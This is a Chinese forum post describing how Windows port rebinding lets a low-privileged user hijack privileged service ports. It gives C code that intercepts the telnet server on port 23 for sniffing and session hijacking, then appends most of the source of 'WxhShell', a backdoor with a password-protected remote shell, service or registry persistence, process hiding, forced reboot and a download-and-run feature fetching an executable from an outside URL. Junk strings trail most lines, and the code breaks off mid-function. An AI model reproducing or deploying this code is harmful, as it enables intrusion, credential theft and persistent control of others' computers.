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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Gb4k5jl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4V@raI-  
)"`(+Ku&c  
  saddr.sin_family = AF_INET; MqDz cB]  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U-&dn%Sq  
6vAq&Y{JB'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1qp<Fz[  
aAhXHsZ|26  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QpxRYv  
Uus%1hC%a  
  这意味着什么?意味着可以进行如下的攻击: ">_<L.,I  
w\ 4;5.$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '#LbIv4  
ZfsM($|a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z~fZg6  
_IYd^c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <#/r.}.x  
{Rc mjI7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g?&_5)&  
jGy%O3/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cLhHGwX=x  
v<CZ.-r\j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g^ .g9"  
69/aP=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {,xI|u2R  
r*_z<^d  
  #include WRrCrXP  
  #include %EV\nwn6  
  #include #@%DY*w]v  
  #include    +U9m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w1U2cbCr/  
  int main() T6mbGE*IeE  
  { M:TN^ rA|  
  WORD wVersionRequested; E/+H~YzO  
  DWORD ret; fz>3  
  WSADATA wsaData; K!~j}z*  
  BOOL val; VgGMlDl  
  SOCKADDR_IN saddr; 8.JFQ/) i  
  SOCKADDR_IN scaddr; 1'Sr0 oEd3  
  int err; |y%pJdPk=  
  SOCKET s; 4f~ c# 0?  
  SOCKET sc; D/U=zDpiB  
  int caddsize; 8`g@ )]Iy  
  HANDLE mt; l$_q#Kd  
  DWORD tid;   ={~?O&Jh  
  wVersionRequested = MAKEWORD( 2, 2 ); a9LK}xc={  
  err = WSAStartup( wVersionRequested, &wsaData );  #dO8) t  
  if ( err != 0 ) { Odn`q=  
  printf("error!WSAStartup failed!\n"); M9~eDw'Pr  
  return -1; fhwJ  
  } 96ydcJY0'  
  saddr.sin_family = AF_INET; XS#Jy n  
   KYw~(+gHv2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a%nksuP3  
mH`K~8pRg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |; [XZ ZZ  
  saddr.sin_port = htons(23); ce56$L8[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "kb[}r4?  
  { %4R1rUrgt|  
  printf("error!socket failed!\n"); +b_[JP2  
  return -1; GsO(\hR6^  
  } ~zZOogM<  
  val = TRUE; qQf NT.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tW!*W?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ze/\IBd  
  { F7<u1R x]  
  printf("error!setsockopt failed!\n"); P@bPdw!JA  
  return -1; oumbJ7X=L  
  } X   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {ZdF6~+H(!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  +mft  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k{{ Y2B?C  
e KuF7Oo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Xn~\Vb  
  { (:]+IjnE  
  ret=GetLastError(); ZJ+ad,?,  
  printf("error!bind failed!\n"); !Mgo~h"]#  
  return -1; Z0M,YSnz  
  } P B-x_D  
  listen(s,2); CL`+\ .  
  while(1) v2r|) c,h  
  { 48S NI  
  caddsize = sizeof(scaddr); o[RwK  
  //接受连接请求 s;l"'6:_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FzSL[S4i  
  if(sc!=INVALID_SOCKET) TC2%n\GH*  
  { @ G!Ir"Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W!"QtEJ,  
  if(mt==NULL) <5Ll<0  
  { I5QtPqB>  
  printf("Thread Creat Failed!\n"); T#6g5Jnsp  
  break; E`xpZ>$mPx  
  } FjizPg/|!  
  } #l`\'0`.  
  CloseHandle(mt); F+NX [  
  } 4*o?2P$Q  
  closesocket(s); $e4N4e2x/  
  WSACleanup(); #=0 BjW*  
  return 0; J"S(GL  
  }   G{,DoCM5WL  
  DWORD WINAPI ClientThread(LPVOID lpParam) K;Hgq4  
  { p(="73  
  SOCKET ss = (SOCKET)lpParam; G=gU|& (  
  SOCKET sc; k{S8q?Gc  
  unsigned char buf[4096]; @(*A<2;N  
  SOCKADDR_IN saddr; o~CEja &(  
  long num; &PApO{#Q  
  DWORD val; 3*\Q]|SI!  
  DWORD ret; (GGosXU-v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gMZ+kP`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \ qq  
  saddr.sin_family = AF_INET; EbX!;z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @PLJ)RL  
  saddr.sin_port = htons(23); {98e_z w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q {~$7J  
  { \et2aX !  
  printf("error!socket failed!\n"); 5}_=q;sZ  
  return -1; j+3rS  
  } G,B4=[Y  
  val = 100; SO STtuT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MwQ4&z#wh  
  { 5D<ZtsXE  
  ret = GetLastError(); CCt\[hl  
  return -1; |N)),/R_  
  } f9},d1k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \RPwSx  
  { ^Z\"d#A  
  ret = GetLastError(); \o72VHG66  
  return -1; mvTp,^1  
  } $%'3w~h`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KZcmNli&A  
  { @-xvdntx  
  printf("error!socket connect failed!\n"); xsPt  
  closesocket(sc); {,*vMQ<^  
  closesocket(ss); -])=\n!=  
  return -1; Q(q&(/  
  } );q~TZ[Do  
  while(1) eV(9I v[  
  { KUm?gFh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 goF87^M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v[8+fd)}S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /K1cP>oE  
  num = recv(ss,buf,4096,0); 53a^9  
  if(num>0) q~W:W}z  
  send(sc,buf,num,0); #,6T.O  
  else if(num==0) Z_S{$D  
  break; XpE847!soL  
  num = recv(sc,buf,4096,0); fn5-Tnsq*  
  if(num>0) N]| >\  
  send(ss,buf,num,0); 5U+4vV/*  
  else if(num==0) yf8kBT:&S  
  break; SA=>9L,2  
  } -TG ="U  
  closesocket(ss); {i8 zM6eC  
  closesocket(sc); eMFxdtH  
  return 0 ; xh9$ZavB*  
  } idX''%"  
^[Ka+E^Q  
=8<~pr-NO  
========================================================== ^->S7[N?  
K5XW&|tY!  
下边附上一个代码,,WXhSHELL =Tl_~OR  
3/Z>W|w#w  
========================================================== +`{OOp=  
a@q c?  
#include "stdafx.h" ~gMt U  
gOW8 !\V  
#include <stdio.h> vW vu&3tx  
#include <string.h> {N/%%O.b  
#include <windows.h> |rZMcl/  
#include <winsock2.h> E0&d*BI2  
#include <winsvc.h> 3T gX]J@  
#include <urlmon.h> /}L2LMIm  
3z2 OW@zL$  
#pragma comment (lib, "Ws2_32.lib") 8 p[n>qV9  
#pragma comment (lib, "urlmon.lib") S 593wfc  
e3:L]4t  
#define MAX_USER   100 // 最大客户端连接数 { $yju_[  
#define BUF_SOCK   200 // sock buffer uh2_Rzln  
#define KEY_BUFF   255 // 输入 buffer <.gDg?'3  
p@4GI[4  
#define REBOOT     0   // 重启 $GGaR x  
#define SHUTDOWN   1   // 关机 B,w ZI4oi*  
.1{{E8Fj  
#define DEF_PORT   5000 // 监听端口 bDtb6hL  
*`Vmncv3  
#define REG_LEN     16   // 注册表键长度 A0k?$ko  
#define SVC_LEN     80   // NT服务名长度 b7Zo~ Z  
vI5lp5( -3  
// 从dll定义API X<[ qX*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zB`woI28  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uXh:/KO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pxd=a!(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d,JDfG)  
x4H#8ZK!  
// wxhshell配置信息 q=BljSX  
struct WSCFG { Uza '%R  
  int ws_port;         // 监听端口 /kkUEo+  
  char ws_passstr[REG_LEN]; // 口令 $Emu*'  
  int ws_autoins;       // 安装标记, 1=yes 0=no fTvm2+.nX  
  char ws_regname[REG_LEN]; // 注册表键名 'EAskA] *  
  char ws_svcname[REG_LEN]; // 服务名 wL 4Y%g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V<H9KA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9iZio3m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 % |D)%|Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .)!QsBU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y@!o&,,mq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %g.cE}^  
wLXJ?iy3  
}; KBN% TqH|  
%(lO>4>|  
// default Wxhshell configuration tMiIlf!>p  
struct WSCFG wscfg={DEF_PORT, K=v:qY4Z  
    "xuhuanlingzhe", !!^z6jpvn  
    1, '!Hs"{~{  
    "Wxhshell", #[lhem]IC  
    "Wxhshell", D @*<O=_D(  
            "WxhShell Service", p#ar`-vQ  
    "Wrsky Windows CmdShell Service", gK[;"R)4o@  
    "Please Input Your Password: ", ~&73f7  
  1, v CaN[  
  "http://www.wrsky.com/wxhshell.exe", ~dRstH7u  
  "Wxhshell.exe" r8Pd}ptPU  
    }; cZ?QI6|[  
EaO@I.[  
// 消息定义模块 X&qx4 DL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P)=.D u)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @9gZH_ur>E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f`uRC-B/  
char *msg_ws_ext="\n\rExit."; nG!<wlY14P  
char *msg_ws_end="\n\rQuit."; -y+>^45  
char *msg_ws_boot="\n\rReboot..."; ]19VEH  
char *msg_ws_poff="\n\rShutdown..."; FRrp@hE  
char *msg_ws_down="\n\rSave to "; 3N+lWuE}K  
!rM~   
char *msg_ws_err="\n\rErr!"; K}R+~<bIY  
char *msg_ws_ok="\n\rOK!"; :;7I_tb  
lZ\8W^  
char ExeFile[MAX_PATH]; |HAJDhM,l  
int nUser = 0; e /JQ #A  
HANDLE handles[MAX_USER]; A]/o-S_  
int OsIsNt; -[V-f> :  
ump~)?_B  
SERVICE_STATUS       serviceStatus; lrT2*$ w3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d]l8ei@>h  
ZYwcB]xE z  
// 函数声明 +tqErh?Al  
int Install(void); m.e]tTe  
int Uninstall(void); 6gg8 h>b  
int DownloadFile(char *sURL, SOCKET wsh); WVbrbs4  
int Boot(int flag); L8QWEFB|  
void HideProc(void); @Iv;y*y  
int GetOsVer(void); d,"LZ>hNY*  
int Wxhshell(SOCKET wsl); Q6@<7E]y  
void TalkWithClient(void *cs); (CmK> "C+  
int CmdShell(SOCKET sock); ATNOb  
int StartFromService(void); /fr>Fd  
int StartWxhshell(LPSTR lpCmdLine); iEr,ly  
O<gfZ>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DmiBM6t3N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rVYoxXv  
afEa@et'  
// 数据结构和表定义 9Eyx Ob  
SERVICE_TABLE_ENTRY DispatchTable[] = B[t^u\Fk  
{ %iN>4;T8  
{wscfg.ws_svcname, NTServiceMain}, W7i|uTM  
{NULL, NULL} 5AYOM=O]t  
}; W(s4R,j  
iQwQ5m!d &  
// 自我安装 OU[<\d  
int Install(void) |p11Jt[  
{ Ux [<g%F"  
  char svExeFile[MAX_PATH]; e3?=1ZB  
  HKEY key; 6[> lzEZ  
  strcpy(svExeFile,ExeFile); k9^Hmhjw  
+&Ld` d!n  
// 如果是win9x系统,修改注册表设为自启动 d8j1L/e  
if(!OsIsNt) { xP9(J 0y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tMIYVHGy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >ZgzE  
  RegCloseKey(key); *T|B'80  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1o_kY"D<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `FP?9R6Y  
  RegCloseKey(key); 1 DWoL}Z  
  return 0; CLb6XnkcA\  
    } +L(amq;S  
  } +eM${JyXH  
} )ZJvx%@i  
else { kNEEu! G  
b'H'QY   
// 如果是NT以上系统,安装为系统服务 d2 ^}ooE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C_.9qo]DT7  
if (schSCManager!=0) U@lc 1#  
{ lfGyK4:  
  SC_HANDLE schService = CreateService  +]db-  
  ( UkV?,P@l  
  schSCManager, <qCa 9@Ea  
  wscfg.ws_svcname, m o0\t#jA  
  wscfg.ws_svcdisp, p5Q]/DhG  
  SERVICE_ALL_ACCESS, Qw5nfg3T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3dShznlf_*  
  SERVICE_AUTO_START, GP|=4T}Bf  
  SERVICE_ERROR_NORMAL, I$n= >s  
  svExeFile, ${+u-Wfau  
  NULL, .1x04Np!  
  NULL, ])x1MmRg\  
  NULL, )s2] -n}W  
  NULL, ^E !v D  
  NULL WeI+|V$  
  ); P:qmg"i@3  
  if (schService!=0)  6 K $mW  
  { weitDr6  
  CloseServiceHandle(schService); Nd_fjB  
  CloseServiceHandle(schSCManager); 4JSPD#%f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DT1gy:?L  
  strcat(svExeFile,wscfg.ws_svcname); "cH RGJG#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;|N:F G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BxY t*b%  
  RegCloseKey(key); g8),$:Uw  
  return 0; [}X|&`'i  
    } <_tmkLeZf  
  } cw;wv+|k  
  CloseServiceHandle(schSCManager); 3P>gDQP  
} r );R/)&  
} t<%0eu|  
uGKjZi  
return 1; (z?HyxRT  
} k_=SDm a  
&dtk&P{  
// 自我卸载  s>rR\`  
int Uninstall(void) LzygupxY!  
{ lG*Rw-?a  
  HKEY key; &[.5@sv  
)fH Q7  
if(!OsIsNt) { 0oe<=L]F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]AP1+ &9fN  
  RegDeleteValue(key,wscfg.ws_regname); I Mgd2qIC  
  RegCloseKey(key); <J[ le=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 WP>u8&  
  RegDeleteValue(key,wscfg.ws_regname); >&L|oq7$  
  RegCloseKey(key); C3AWXO ^  
  return 0; l}{{7~C`  
  } We+rFk1ddt  
} ~iw&^p|=K  
} ]`o5eByo  
else { E(qYCafC  
LyUn!zV$(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); myx/|-V"F  
if (schSCManager!=0) q:{#kv8  
{ 1CtUf7 `/Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R^Rc!G}  
  if (schService!=0) c=\tf~}^Ms  
  { ^Fk;t  
  if(DeleteService(schService)!=0) { >nSsbhAe  
  CloseServiceHandle(schService); KaIKb=4L|  
  CloseServiceHandle(schSCManager); UuG%5 ZC  
  return 0; ^df wWP  
  } PN}+LOD<t  
  CloseServiceHandle(schService); ,OZ  
  } &K[*vyD  
  CloseServiceHandle(schSCManager); :I"CQ C[Z  
} ROO*/OOd  
} npP C;KD  
];r! M0  
return 1; K2m>D=w  
} &\zYbGU  
{%jAp11y+O  
// 从指定url下载文件 G1:}{a5i_  
int DownloadFile(char *sURL, SOCKET wsh) IQQv+af5  
{ ;5a$ OM  
  HRESULT hr; !}*N';  
char seps[]= "/"; 6fwNlC/9  
char *token; yUoR6w  
char *file; 0'q4=!l  
char myURL[MAX_PATH]; ,5'o>Y  
char myFILE[MAX_PATH]; u ExLj6  
v|?@k^Ms  
strcpy(myURL,sURL); uLms0r\@!  
  token=strtok(myURL,seps); G  hM  
  while(token!=NULL) jKSj);  
  { d[9,J?'OQ  
    file=token; MVatV[G  
  token=strtok(NULL,seps); QE<Z@/V*a  
  } mY|c7}>V;  
a[ {qb  
GetCurrentDirectory(MAX_PATH,myFILE); UhB +c  
strcat(myFILE, "\\"); +)jUA]hJ/  
strcat(myFILE, file); o<g?*"TRh  
  send(wsh,myFILE,strlen(myFILE),0); D#jwI,n}x  
send(wsh,"...",3,0); b3N IFKw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1nVQYqT_  
  if(hr==S_OK) ]l7W5$26 @  
return 0; "tEp8m  
else lH fZw})d  
return 1; +Z#=z,.^  
FlO?E3d  
} SX3'|'-  
EPo)7<|>  
// 系统电源模块 8)B{x[?|  
int Boot(int flag) X)g X9DA  
{ A#>wbHjWF  
  HANDLE hToken; ]+lT*6P*  
  TOKEN_PRIVILEGES tkp; D@=]mh6vl  
VPCI5mS_  
  if(OsIsNt) { ~z^l~Vyg?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3 9 8)\3o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KFM[caKeJO  
    tkp.PrivilegeCount = 1; r#-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'afW'w@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tqZ91QpW  
if(flag==REBOOT) { zD_5TG M=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UMcM&yu-  
  return 0; 3mgvWR  
} &BVUK"}P  
else { %<i sdvF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 nt3gVy  
  return 0; I0-1Hr  
} ,#a4P`q'iC  
  } 0jp].''RK\  
  else { <3Ftq=  
if(flag==REBOOT) { v]JET9hY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >^8O:.  
  return 0; Rsx6vF8]5  
} mF gqM:  
else { $.,PteYK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )\U:e:Zae  
  return 0; =B&|\2`{)  
} YB*)&@yx  
} +m_ .?V6  
d% EdvM|)  
return 1; \mF-L,yu  
} `(W"wC   
R6~6b&-8  
// win9x进程隐藏模块 tmGhJZ2j  
void HideProc(void) /.:1Da  
{ 74_?@Z(  
-=-^rQx9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <h(AJX7wsD  
  if ( hKernel != NULL ) `JIp$  
  { PvKGB01_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /OKp(u;)z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4Q+,_iP  
    FreeLibrary(hKernel); `!8\ |/  
  } hC-uz _/3  
9^^\Z5  
return; 1dD%a91  
} +5fB?0D;  
1D%P;eUDp  
// 获取操作系统版本 /G5KNSi  
int GetOsVer(void) Z%#e* O0  
{ FC 8<D  
  OSVERSIONINFO winfo; fwpp qIM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >$kFYb>~q  
  GetVersionEx(&winfo); H Qj,0#J)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /}u:N:HA%  
  return 1; \]Y<d  
  else II^Rp],>  
  return 0; \m`IgP*  
} TT/=0^"  
#h.N#{9  
// 客户端句柄模块 `&I6=,YLp  
int Wxhshell(SOCKET wsl) 2NFk#_9e~  
{ b$w66q8  
  SOCKET wsh; 28JVW3&)  
  struct sockaddr_in client; *wAX&+);  
  DWORD myID; /5%'q~  
'4{@F~fu  
  while(nUser<MAX_USER) /{({f?k<\/  
{ Q3=X#FQ  
  int nSize=sizeof(client); +R?E @S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [,&g46x22  
  if(wsh==INVALID_SOCKET) return 1; L^u|= 9  
4][VK/v+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S|d /?}C|e  
if(handles[nUser]==0) A?tCa*b^  
  closesocket(wsh); !yg &zzP*  
else Z9m I%sC[(  
  nUser++; '>[ZfT  
  } Z4 z|B&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )fXxkOd  
4FneP i~i  
  return 0; lBn<\Y!^  
} EQnU:a  
EAY+#>L*  
// 关闭 socket oe6Ex5h  
void CloseIt(SOCKET wsh) ;E}&{w/My  
{ 4P C'7V=S  
closesocket(wsh); )YCH>Za  
nUser--; D _\HX9  
ExitThread(0); depCqz@  
} JAW7Y:XB  
jKP75jm  
// 客户端请求句柄 MPp:EH  
void TalkWithClient(void *cs) d*!H&1L  
{ bil>;&h  
h*4wi.-  
  SOCKET wsh=(SOCKET)cs; .K940& Ui  
  char pwd[SVC_LEN]; p-C{$5& O1  
  char cmd[KEY_BUFF]; wQ-BY"cK\  
char chr[1]; -8:O?]+Q/  
int i,j; 7 |Qb}[s  
ABE EJQ  
  while (nUser < MAX_USER) { 823y;  
Q0 PqyobD  
if(wscfg.ws_passstr) { q9zeN:><  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uPFbKSJj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'o_ RC{k2"  
  //ZeroMemory(pwd,KEY_BUFF); ),<h6$  
      i=0; 1_~'?'&^  
  while(i<SVC_LEN) { E?0RR'  
/|Gz<nSc  
  // 设置超时 Q<osYO{l  
  fd_set FdRead; 11J:>A5zt  
  struct timeval TimeOut; DL_M#c`<  
  FD_ZERO(&FdRead); 4!glgEE*  
  FD_SET(wsh,&FdRead); .Gno K?  
  TimeOut.tv_sec=8; e mq%" ;.  
  TimeOut.tv_usec=0; =0@o(#gM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Ny~.EV5^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IxP$ lx  
(_q&QI0{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QK~>KgVi  
  pwd=chr[0]; @S012} xH  
  if(chr[0]==0xd || chr[0]==0xa) { Erl@] P4  
  pwd=0; ~"~uXNd  
  break; bF@iO316H  
  } {-IRX)m*  
  i++; R[lA@q:  
    } m<9W#  
z Hj_q%A  
  // 如果是非法用户,关闭 socket 4_eFc$^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {XS2<!D  
} atFu KYI  
X<"#=u(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bsz;GnD|r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bq:: 5,v  
\AR3DDm  
while(1) { k.0pPl  
HQ|{!P\/?U  
  ZeroMemory(cmd,KEY_BUFF); _`94CC:  
E}w<-]8  
      // 自动支持客户端 telnet标准   PDh1*bf{u  
  j=0; PJcz] <  
  while(j<KEY_BUFF) { `=foB-(zt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "_&HM4%!  
  cmd[j]=chr[0]; Sytx9`G 5  
  if(chr[0]==0xa || chr[0]==0xd) { j@s,5:;[  
  cmd[j]=0; ~R W6;  
  break; M8lR#2n|  
  } yIThzy S  
  j++; `!T6#6h  
    } +hvVoBCM*  
5h(] S[Zf3  
  // 下载文件 ">RDa<H]  
  if(strstr(cmd,"http://")) { 'uOp?g'7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 80M4~'3  
  if(DownloadFile(cmd,wsh)) D&)gcO`\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ol@ YSkd  
  else 4B8{\ "6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {GH 0 J"  
  } 8eoDE. }  
  else { Uz!cVs?-  
T+/Gz'  
    switch(cmd[0]) { eVWnD,'  
  D9&FCCiUE  
  // 帮助 dkf?lmC+M  
  case '?': { )Nq$~aAm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hv>Hz*s_I  
    break; 5k}UXRB?  
  } (iiyptJ  
  // 安装 F;&'C$%  
  case 'i': { pr-!otz  
    if(Install()) {Z|.-~W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dDk<J;~jGJ  
    else !'C^qrh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yHoj:f$$x  
    break; ^Q_0Zq^H  
    } IV:Knh+ ?  
  // 卸载 x2TCw  
  case 'r': { 7b T5-=.  
    if(Uninstall()) nmN6RGx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B|~\m ~  
    else ]IkjZ=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B: uW(E  
    break; ZA ii"F  
    } L+QEFQ:r5  
  // 显示 wxhshell 所在路径 Da8qR+*x  
  case 'p': { HWGlC <  
    char svExeFile[MAX_PATH]; !/$BXUrd  
    strcpy(svExeFile,"\n\r"); p<6pmW3  
      strcat(svExeFile,ExeFile); sM~|}|p  
        send(wsh,svExeFile,strlen(svExeFile),0); QTK{JZf  
    break; s4}}MV3X  
    } t9x.O  
  // 重启 $0K9OF9$  
  case 'b': { :h3 Gk;u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `h Y:F(  
    if(Boot(REBOOT)) 4aZsz,=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hj;j\R >2  
    else { eA_1?j]E3  
    closesocket(wsh); !H,R$3~  
    ExitThread(0); G(4:yK0  
    } Qo{^jDe,c*  
    break; M>_S%V4a  
    } qx53,^2  
  // 关机 nS'0i&<{1  
  case 'd': { )r1Z}X(#d  
